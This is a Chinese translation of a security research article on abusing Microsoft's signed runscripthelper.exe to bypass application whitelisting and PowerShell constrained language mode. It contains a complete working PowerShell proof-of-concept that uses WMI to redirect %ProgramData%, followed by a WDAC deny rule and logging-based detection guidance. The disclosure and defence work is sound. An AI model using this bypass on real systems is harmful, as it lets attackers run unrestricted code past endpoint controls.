【技术分享】如何利用runscripthelper.exe绕过应用程序白名单机制

译者：興趣使然的小胃

预估稿费：200RMB

投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿

一、简介

在实践PowerShell课程中的某个实验时，我偶然发现了System32目录下存在一个PowerShell宿主进程，该程序为runscripthelper.exe，经过微软的签名。Windows 10 RS3系统中刚刚引入这个程序，其功能是从特定目录读取PowerShell代码并加以执行。这种执行PowerShell代码的方式有一些副作用，我们可以借此绕过受限语言模式的限制。

反编译runscripthelper.exe后，其入口点如下所示：

private static int Main(string[] args)
{
 try
 {
  if (args.Length != 3)
  {
   throw new Exception("Invalid command line");
  }
  string text = args[0];
  string text2 = args[1];
  string text3 = args[2];
  if (string.IsNullOrEmpty(text2) || string.IsNullOrEmpty(text2) || string.IsNullOrEmpty(text3))
  {
   throw new Exception("Invalid args");
  }
  if (!Program.k_scriptSet.Contains(text))
  {
   throw new Exception("Unknown script");
  }
  string text4 = Environment.ExpandEnvironmentVariables(Program.k_utcScriptPath);
  if (text2.Length <= text4.Length || !text4.Equals(text2.Substring(0, text4.Length), StringComparison.OrdinalIgnoreCase))
  {
   throw new Exception("Unknown script path: " + text2);
  }
  text2 = Program.GetShortPath(text2);
  text3 = Program.GetShortPath(text3);
  if (text.CompareTo("surfacecheck") == 0)
  {
   SurfaceCheckProcessor.ProcessSurfaceCheckScript(text2, text3);
  }
 }
 catch (Exception ex)
 {
  Console.WriteLine("Exception occurred: " + ex.Message);
  Console.WriteLine("Inner Exception: " + ex.InnerException);
  return -1;
 }
 return 0;
}

如你所见， 该程序接受三个命令行参数：

1、参数#1必须与"surfacecheck"字符串匹配，才能执行ProcessSurfaceCheckScript方法，这个方法会接收传入的第2及第3个参数。

2、参数#2包含待执行脚本的完整路径，并且会跟“k_utcScriptPath”全局变量进行比较（“k_utcScriptPath”这个环境变量展开后为“\?%ProgramData%MicrosoftDiagnosisscripts”）。

3、参数#3为一个已有目录的具体路径，命令输出结果会保存到该目录。

根据上述代码，待执行的脚本似乎必须位于%ProgramData%MicrosoftDiagnosisscripts目录中。默认情况下（至少在我当前系统下），普通用户不具备对该目录的写入权限。而理想情况下，我更希望能以非特权用户身份来绕过受限环境。因此，如果我能在runscripthelper.exe启动时以某种方式控制%ProgramData%的内容，我应该可以让该程序从可控的目录中执行脚本。待会我们再回到这个主题，现在我们可以先分析一下ProcessSurfaceCheckScript方法，看看它执行的是哪些内容：

public static void ProcessSurfaceCheckScript(string scriptPath, string outputPath)
{
 if (!File.Exists(scriptPath))
 {
  throw new Exception("Script does not exist");
 }
 if (!Directory.Exists(outputPath))
 {
  throw new Exception("Output path does not exist");
 }
 PowerShell powerShell = PowerShell.Create();
 powerShell.AddScript("Set-ExecutionPolicy -Scope Process unrestricted");
 powerShell.AddScript("$InvokedFromUIF = $true");
 powerShell.AddScript("$FailureText = "UIF"");
 powerShell.AddScript("$ScriptPath = "" + Path.GetDirectoryName(scriptPath) + """);
 powerShell.AddScript("$LogDir = "" + outputPath + """);
 SurfaceCheckProcessor.ReadCmdlets(powerShell, scriptPath);
 string script = File.ReadAllText(scriptPath);
 powerShell.AddScript(script);
 powerShell.Invoke();
 if (powerShell.HadErrors)
 {
  foreach (ErrorRecord current in powerShell.Streams.Error)
  {
   Console.WriteLine("Error: " + current);
   Console.WriteLine("Exception: " + current.Exception);
   Console.WriteLine("Inner Exception: " + current.Exception.InnerException);
  }
 }
}

因此，从代码表面上来看，ProcessSurfaceCheckScript方法的功能是读取脚本的内容并加以执行（顺便提一下，该方法并不在意脚本的文件扩展名）。在运行AppLocker或者Device Guard的系统上（现在Device Guard已改名为Windows Defender Application control），由于程序的发布者为微软，因此该程序很有可能会被添加到白名单中，该进程中执行的任何PowerShell代码都会以全语言模式（full language mode）执行，因此攻击者可以绕过受限语言模式的限制。

二、利用方法

作为一名攻击者，我们需要控制%ProgramData%的内容，将其指向我们能控制的某个目录。想完成这个任务可以有多种方法，我所知道的一种方法就是在调用Win32进程创建函数时，设置Win32_ProcessStartup类实例中的EnvironmentVariables属性。此外，WMI还提供了远程调用功能，这个功能有许多好处，并且有几个WMI宿主应用不大可能会被应用白名单机制所阻拦。与此同时，如果你没有传入程序预期的许多环境变量，许多子进程就无法正常加载。

成功控制传递给runscripthelper.exe的环境变量后，我们可以使用如下命令来执行我们的载荷：

runscripthelper.exe surfacecheck \?C:TestMicrosoftDiagnosisscriptstest.txt C:Test

能够绕过限制机制的完整PowerShell代码如下所示：

function Invoke-RunScriptHelperExpression {
<#
.SYNOPSIS
Executes PowerShell code in full language mode in the context of runscripthelper.exe.
.DESCRIPTION
Invoke-RunScriptHelperExpression executes PowerShell code in the context of runscripthelper.exe - a Windows-signed PowerShell host application which appears to be used for telemetry collection purposes. The PowerShell code supplied will run in FullLanguage mode and bypass constrained language mode.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
.PARAMETER ScriptBlock
Specifies the PowerShell code to execute in the context of runscripthelper.exe
.PARAMETER RootDirectory
Specifies the root directory where the "MicrosoftDiagnosisscripts" directory structure will be created. -RootDirectory defaults to the current directory.
.PARAMETER ScriptFileName
Specifies the name of the PowerShell script to be executed. The script file can be any file extension. -ScriptFileName defaults to test.txt.
.PARAMETER HideWindow
Because Invoke-RunScriptHelperExpression launches a child process in a new window (due to how Win32_Process.Create works), -HideWindow launches a hidden window.
.EXAMPLE
$Payload = {
    # Since this is running inside a console app,
    # you need the Console class to write to the screen.
    [Console]::WriteLine('Hello, world!')
    $LanguageMode = $ExecutionContext.SessionState.LanguageMode
    [Console]::WriteLine("My current language mode: $LanguageMode")
    # Trick to keep the console window up
    $null = [Console]::ReadKey()
}
Invoke-RunScriptHelperExpression -ScriptBlock $Payload
.OUTPUTS
System.Diagnostics.Process
Outputs a process object for runscripthelper.exe. This is useful if it later needs to be killed manually with Stop-Process.
#>
    [CmdletBinding()]
    [OutputType([System.Diagnostics.Process])]
    param (
        [Parameter(Mandatory = $True)]
        [ScriptBlock]
        $ScriptBlock,
        [String]
        [ValidateNotNullOrEmpty()]
        $RootDirectory = $PWD,
        [String]
        [ValidateNotNullOrEmpty()]
        $ScriptFileName = 'test.txt',
        [Switch]
        $HideWindow
    )
    $RunscriptHelperPath = "$Env:windirSystem32runscripthelper.exe"
    # Validate that runscripthelper.exe is present
    $null = Get-Item -Path $RunscriptHelperPath -ErrorAction Stop
    # Optional: Since not all systems will have runscripthelper.exe, you could compress and
    # encode the binary here and then drop it. That's up to you. This is just a PoC.
    $ScriptDirFullPath = Join-Path -Path (Resolve-Path -Path $RootDirectory) -ChildPath 'MicrosoftDiagnosisscripts'
    Write-Verbose "Script will be saved to: $ScriptDirFullPath"
    # Create the directory path expected by runscripthelper.exe
    if (-not (Test-Path -Path $ScriptDirFullPath)) {
        $ScriptDir = mkdir -Path $ScriptDirFullPath -ErrorAction Stop
    } else {
        $ScriptDir = Get-Item -Path $ScriptDirFullPath -ErrorAction Stop
    }
    $ScriptFullPath = "$ScriptDirFullPath$ScriptFileName"
    # Write the payload to disk - a requirement of runscripthelper.exe
    Out-File -InputObject $ScriptBlock.ToString() -FilePath $ScriptFullPath -Force
    $CustomProgramFiles = "ProgramData=$(Resolve-Path -Path $RootDirectory)"
    Write-Verbose "Using the following for %ProgramData%: $CustomProgramFiles"
    # Gather up all existing environment variables except %ProgramData%. We're going to supply our own, attacker controlled path.
    [String[]] $AllEnvVarsExceptLockdownPolicy = Get-ChildItem Env:* -Exclude 'ProgramData' | % { "$($_.Name)=$($_.Value)" }
    
    # Attacker-controlled %ProgramData% being passed to the child process.
    $AllEnvVarsExceptLockdownPolicy += $CustomProgramFiles
    # These are all the environment variables that will be explicitly passed on to runscripthelper.exe
    $StartParamProperties = @{ EnvironmentVariables = $AllEnvVarsExceptLockdownPolicy }
    $Hidden = [UInt16] 0
    if ($HideWindow) { $StartParamProperties['ShowWindow'] = $Hidden }
    $StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property $StartParamProperties
    $RunscriptHelperCmdline = "$RunscriptHelperPath surfacecheck \?$ScriptFullPath $ScriptDirFullPath"
    Write-Verbose "Invoking the following command: $RunscriptHelperCmdline"
    # Give runscripthelper.exe what it needs to execute our malicious PowerShell.
    $Result = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
        CommandLine = $RunscriptHelperCmdline
        ProcessStartupInformation = $StartParams
    }
    if ($Result.ReturnValue -ne 0) {
        throw "Failed to start runscripthelper.exe"
        return
    }
    $Process = Get-Process -Id $Result.ProcessId
    $Process
    # When runscripthelper.exe exits, clean up the script and the directories.
    # I'm using proper eventing here because if you immediately delete the script from
    # disk then it will be gone before runscripthelper.exe has an opportunity to execute it.
    $Event = Register-ObjectEvent -InputObject $Process -EventName Exited -SourceIdentifier 'RunscripthelperStopped' -MessageData "$RootDirectoryMicrosoft" -Action {
        Remove-Item -Path $Event.MessageData -Recurse -Force
        Unregister-Event -SourceIdentifier $EventSubscriber.SourceIdentifier
    }
}

不使用PowerShell我们也能绕过应用程序白名单机制，比如，我们可以使用wbemtest.exe（该程序为WQL测试工具）完成这个任务，演示视频如下：

在wbemtest.exe这个例子中，我的载荷存放在C:TestMicrosoftDiagnosisscriptstest.txt中。此外，我所使用的环境变量如下所示：

“LOCALAPPDATA=C:\Test”
“Path=C:\WINDOWS\system32;C:\WINDOWS”
“SystemRoot=C:\WINDOWS”
“SESSIONNAME=Console”
“CommonProgramFiles=C:\Program Files\Common Files”
“SystemDrive=C:”
“TEMP=C:\Test”
“ProgramFiles=C:\Program Files”
“TMP=C:\Test”
“windir=C:\WINDOWS”
“ProgramData=C:\Test”

三、防御措施

如果使用的是Device Guard（现在是Windows Defender Application Control），你可以在已有的策略中添加如下规则来阻止这个二进制文件，可参考此链接了解添加规则的具体步骤：

<?xml version="1.0" encoding="utf-8"?>
<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
  <VersionEx>10.0.0.0</VersionEx>
  <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
  <Rules>
    <Rule>
      <Option>Enabled:Unsigned System Integrity Policy</Option>
    </Rule>
  </Rules>
  <!--EKUS-->
  <EKUs />
  <!--File Rules-->
  <FileRules>
    <Deny ID="ID_DENY_D_1" FriendlyName="runscripthelper.exe FileRule" FileName="runscripthelper.exe" MinimumFileVersion="65535.65535.65535.65535" />
  </FileRules>
  <!--Signers-->
  <Signers />
  <!--Driver Signing Scenarios-->
  <SigningScenarios>
    <SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="runscripthelper.exe bypass mitigation">
      <ProductSigners>
        <FileRulesRef>
          <FileRuleRef RuleID="ID_DENY_D_1" />
        </FileRulesRef>
      </ProductSigners>
    </SigningScenario>
  </SigningScenarios>
  <UpdatePolicySigners />
  <CiSigners />
  <HvciOptions>0</HvciOptions>
</SiPolicy>

四、如何检测

与其他PowerShell宿主进程一样，在脚本块（scriptblock）日志中会记录通过runscripthelper.exe执行PowerShell代码的动作，对应的事件为4014事件。

此外，“Windows PowerShell”日志中的400事件也会捕捉到runscripthelper.exe所对应的命令行上下文信息。

五、何为runscripthelper.exe

什么是runscripthelper.exe？该文件中的如下字符串引起了我的注意：

InvokedFromUIF
k_utcScriptPath

Google一番后，我发现UIF代表“User Initiated Feedback（用户发起的反馈）”，而UTF代表“Unified Telemetry Client（统一遥测客户端）”。因此从字面上看，这个二进制文件是某种远程数据收集程序。为了避免微软向我的电脑推送并执行未经签名的PowerShell代码（并且这些代码很可能没有任何质量保证），我非常乐意在Device Guard代码完整性策略中阻止这个二进制程序的运行。

六、总结

因此，本文分析的这个签名应用可以被攻击者恶意滥用，经过进一步分析，我们发现系统并没有限制这类程序的使用场景，因为每次Windows发布新版时都会引入新的应用程序。这个事实也再次证实应用白名单（application whitelisting，AWL）仍然面临许多难题，其中一个基本的难题就是，如果我们想让一个可启动的、实用的系统保持最新状态，我们往往需要将经过微软签名的任何代码列入白名单中。这种决策会带来一些副作用，如果某些人在白名单维护方面态度非常严格，那么他们就需要实时关注像本文之类的文章，相应地更新黑名单规则。在白名单机制的基础上，使用这种黑名单规则可以取得很好的效果。然而想要维护这样一个黑名单并不是一件容易的事情，因为这个名单随着时间的推进会不断增长。需要明确的是，这一点并不是AWL的缺陷，只能算是AWL面临的一个挑战。我个人也会使用AWL，对这种机制的有效性也十分满意。绝大多数攻击者仍然会使用不可信的脚本或程序，在这种场景中，即使最基本的白名单策略应付起来也能游刃有余。

把AWL的事先放在一边不谈，单凭这类程序，攻击者就可以隐藏在良性的、“可信的”应用程序背后。因此，通过这个例子，我们需要总结出一个道理：白名单绕过技术是攻击者在后续攻击过程中的一大帮手，无论AWL机制是否存在，我们都应该对此有所警觉。

最后说一下，如果有人偶然发现微软向runscriphelper.exe推送了任何PowerShell代码，请上传这段代码并及时告诉我，不胜感激！